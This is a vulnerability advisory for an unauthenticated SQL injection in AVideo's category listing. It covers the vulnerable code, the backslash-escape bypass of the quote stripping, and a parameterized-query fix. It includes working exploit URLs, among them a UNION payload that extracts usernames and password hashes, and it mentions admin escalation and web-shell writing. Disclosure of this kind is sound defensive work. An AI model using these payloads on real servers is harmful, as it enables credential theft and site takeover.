AVideo has an Unauthenticated SQL Injection via `doNotShowCats` Parameter (Backslash Escape Bypass)

Summary

An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (str_replace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.

Affected Component

File: objects/category.php, lines 386-394, inside method getAllCategories()

if (!empty($_REQUEST['doNotShowCats'])) {
    $doNotShowCats = $_REQUEST['doNotShowCats'];
    if (!is_array($_REQUEST['doNotShowCats'])) {
        $doNotShowCats = array($_REQUEST['doNotShowCats']);
    }
    foreach ($doNotShowCats as $key => $value) {
        $doNotShowCats[$key] = str_replace("'", '', $value);  // INSUFFICIENT
    }
    $sql .= " AND (c.clean_name NOT IN ('" . implode("', '", $doNotShowCats) . "') )";
}

Root Cause

1. Incomplete sanitization: The only defense is str_replace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\).
2. No global filter coverage: The doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the _id suffix pattern).
3. Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via implode() instead of using parameterized queries.

Exploitation

MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NO_BACKSLASH_ESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.

Step-by-step:

1. The attacker sends:

   GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-
   

2. After str_replace("'", '', ...), values are unchanged (no single quotes to strip):

   • Element 0: \
   • Element 1: ) OR 1=1)-- -

3. After implode("', '", ...), the concatenated string is:

   \', ') OR 1=1)-- -
   

4. The full SQL becomes:

   AND (c.clean_name NOT IN ('\', ') OR 1=1)-- -') )
   

5. MySQL parses this as:

   • '\' — the \ escapes the next ', making it a literal quote character inside the string. The string continues.
   • , ' — the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string.
   • String value = ', (three characters: quote, comma, space)
   • ) OR 1=1) — executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (.
   • -- - — SQL comment, discards the remainder ') )

   Effective SQL:

   AND (c.clean_name NOT IN (', ') OR 1=1)
   

   This always evaluates to TRUE.

For data extraction (UNION-based):

GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-

Produces:

AND (c.clean_name NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )

This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).

Impact

• Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration.
• Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., UPDATE users SET isAdmin=1).
• Availability: Ability to drop tables or corrupt data.
• Potential RCE: On MySQL configurations that allow SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.

Suggested Fix

Replace the string concatenation with parameterized queries:

if (!empty($_REQUEST['doNotShowCats'])) {
    $doNotShowCats = $_REQUEST['doNotShowCats'];
    if (!is_array($doNotShowCats)) {
        $doNotShowCats = array($doNotShowCats);
    }
    $placeholders = array_fill(0, count($doNotShowCats), '?');
    $formats = str_repeat('s', count($doNotShowCats));
    $sql .= " AND (c.clean_name NOT IN (" . implode(',', $placeholders) . ") )";
    // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters
}

Alternatively, use $global['mysqli']->real_escape_string() on each value as a minimum fix, though parameterized queries are strongly preferred.